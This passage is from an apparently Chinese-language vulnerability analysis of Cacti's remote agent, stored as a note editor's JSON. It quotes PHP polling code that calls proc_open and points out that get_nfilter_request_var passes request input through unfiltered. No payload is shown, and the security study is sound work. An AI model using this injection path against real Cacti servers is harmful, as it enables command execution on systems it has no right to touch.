to&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0DuR-1670945832184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FpnK-1670945832183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  );&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eMdG-1670945832186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S1bn-1670945832185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G3PX-1670945832188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HXc7-1670945832187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  if (function_exists(&#39;proc_open&#39;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozbc-1670945832190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fAr6-1670945832189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $cactiphp = proc_open(read_config_option(&#39;path_php_binary&#39;) . &#39; -q &#39; . $config[&#39;base_path&#39;] . &#39;/script_server.php realtime &#39; . $poller_id, $cactides, $pipes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OPAq-1670945832192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i5K7-1670945832191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $output = fgets($pipes[1], 1024);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4EiF-1670945832194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qXAf-1670945832193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $using_proc_function = true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q2Oa-1670945832196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6sl2-1670945832195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3qOh-1670945832198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bho1-1670945832197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $using_proc_function = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JdQv-1670945832200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JcRg-1670945832199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hjj9-1670945832202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AH8H-1670945832201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QFtB-1670945832204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;msZx-1670945832203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  if ($using_proc_function == true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V9vH-1670945832206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hKZQ-1670945832205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $output = trim(str_replace(\&#34;\\n\&#34;, &#39;&#39;, exec_poll_php($item[&#39;arg1&#39;], $using_proc_function, $pipes, $cactiphp)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YyWI-1670945832208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x1vt-1670945832207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jmwg-1670945832210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YwiX-1670945832209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     if (prepare_validate_result($output) === false) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6FXJ-1670945832212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;28Ki-1670945832211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (strlen($output) &gt; 20) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QjHA-1670945832214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Chbb-1670945832213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                           $strout = 20;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GbdJ-1670945832216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b6RO-1670945832215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o1UR-1670945832218&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hWMB-1670945832217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                           $strout = strlen($output);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A0Z6-1670945832220&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4fbQ-1670945832219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ICpA-1670945832222&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h0P7-1670945832221&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qL7k-1670945832224&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ydFQ-1670945832223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $output = &#39;U&#39;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SyzA-1670945832226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XkAo-1670945832225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nruo-1670945832228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bBOR-1670945832227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wsUy-1670945832230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KRa9-1670945832229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $output = &#39;U&#39;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQDf-1670945832232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AAPr-1670945832231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vB-1670945832234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i0El-1670945832233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YElt-1670945832236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E6Zz-1670945832235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;value&#39;]         = $output;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pOe8-1670945832238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BE50-1670945832237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;rrd_name&#39;]      = $item[&#39;rrd_name&#39;];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ilfX-1670945832240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kDZI-1670945832239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;local_data_id&#39;] = $local_data_id;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hk2x-1670945832242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YUIU-1670945832241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bt0D-1670945832244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u4O7-1670945832243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  if (($using_proc_function == true) &amp;&amp; ($script_server_calls &gt; 0)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49gd-1670945832246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lLTt-1670945832245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     /* close php server process */&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NDnR-1670945832248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbLI-1670945832247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     fwrite($pipes[0], \&#34;quit\\r\\n\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PRNS-1670945832250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TJga-1670945832249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     fclose($pipes[0]);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;74I4-1670945832252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nljb-1670945832251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     fclose($pipes[1]);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5dhH-1670945832254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cyvp-1670945832253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     fclose($pipes[2]);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LQyt-1670945832256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsOH-1670945832255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rE0K-1670945832259&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KXST-1670945832258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $return_value = proc_close($cactiphp);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l8v9-1670945832261&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k3VQ-1670945832260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e8nf-1670945832263&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6WMw-1670945832262&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U6Ar-1670945832265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Llzm-1670945832264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;szrb-1670945832267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWbS-1670945832266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iEgJ-1670945832269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h7xs-1670945832268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RDvX-1670945832271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rgta-1670945832270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               $i++;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Od2X-1670945832273&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8oG5-1670945832272&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;COBc-1670945832275&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0CM4-1670945832274&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;         }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;36VF-1670945832277&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OufQ-1670945832276&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KMfF-1670945832279&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XWtw-1670945832278&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P5JW-1670945832281&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f7K2-1670945832280&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BO53-1670945832283&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FGhw-1670945832282&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   print json_encode($return);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xsmm-1670945832285&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d3Rf-1670945832284&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;php&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LTLO-1670945450792&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WaeS-1670945450790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;首先会从请求中获取到$local_data_ids,$host_id,$poller_id三个参数，&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yF5O-1670945869661&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4579/WEBRESOURCE93ee55b39229a5cd03848735ccbb43e3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4579/WEBRESOURCE93ee55b39229a5cd03848735ccbb43e3&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r7Xj-1670945868307&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7JlI-1670945868306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;get_filter_request_var会对传入的值进行过滤：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z42q-1670946386920&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4599/WEBRESOURCE8865085154970e4b5312288730bff412&#34;,&#34;width&#34;:1734,&#34;height&#34;:1190},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4599/WEBRESOURCE8865085154970e4b5312288730bff412&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1734,&#34;height&#34;:1190},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cq1b-1670946368198&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9QbZ-1670946368196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;get_nfilter_request_var可以获取多组数据但未进行过滤。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y6YJ-1670946366765&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ukUC-1670946366743&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w8La-1670946366742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;function get_nfilter_request_var($name, $default = &#39;&#39;) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CNNA-1670946366746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nQMP-1670946366745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   global $_CACTI_REQUEST;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;th11-1670946366748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QFC2-1670946366747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F9G4-1670946366750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JWnK-1670946366749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   if (isset($_CACTI_REQUEST[$name])) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eb2c-1670946366752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xJio-1670946366751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return $_CACTI_REQUEST[$name];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0CAR-1670946366754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;70q5-1670946366753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   } elseif (isset($_REQUEST[$name])) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UTX-1670946366756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YmKw-1670946366755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return $_REQUEST[$name];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hwGA-1670946366758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xy4T-1670946366757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AZIJ-1670946366760&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2VRm-1670946366759&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return $default;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rl4H-1670946366762&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LRCs-1670946366761&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;znyB-1670946366764&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u3os-1670946366763&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;php&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I9bq-1670946028331&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z36Q-1670946028329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;获取完相关参数后，接下来会从poller_item这张表中取出所有符合满足条件的items进行遍历：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;taSr-1670987252854&#34;,&#3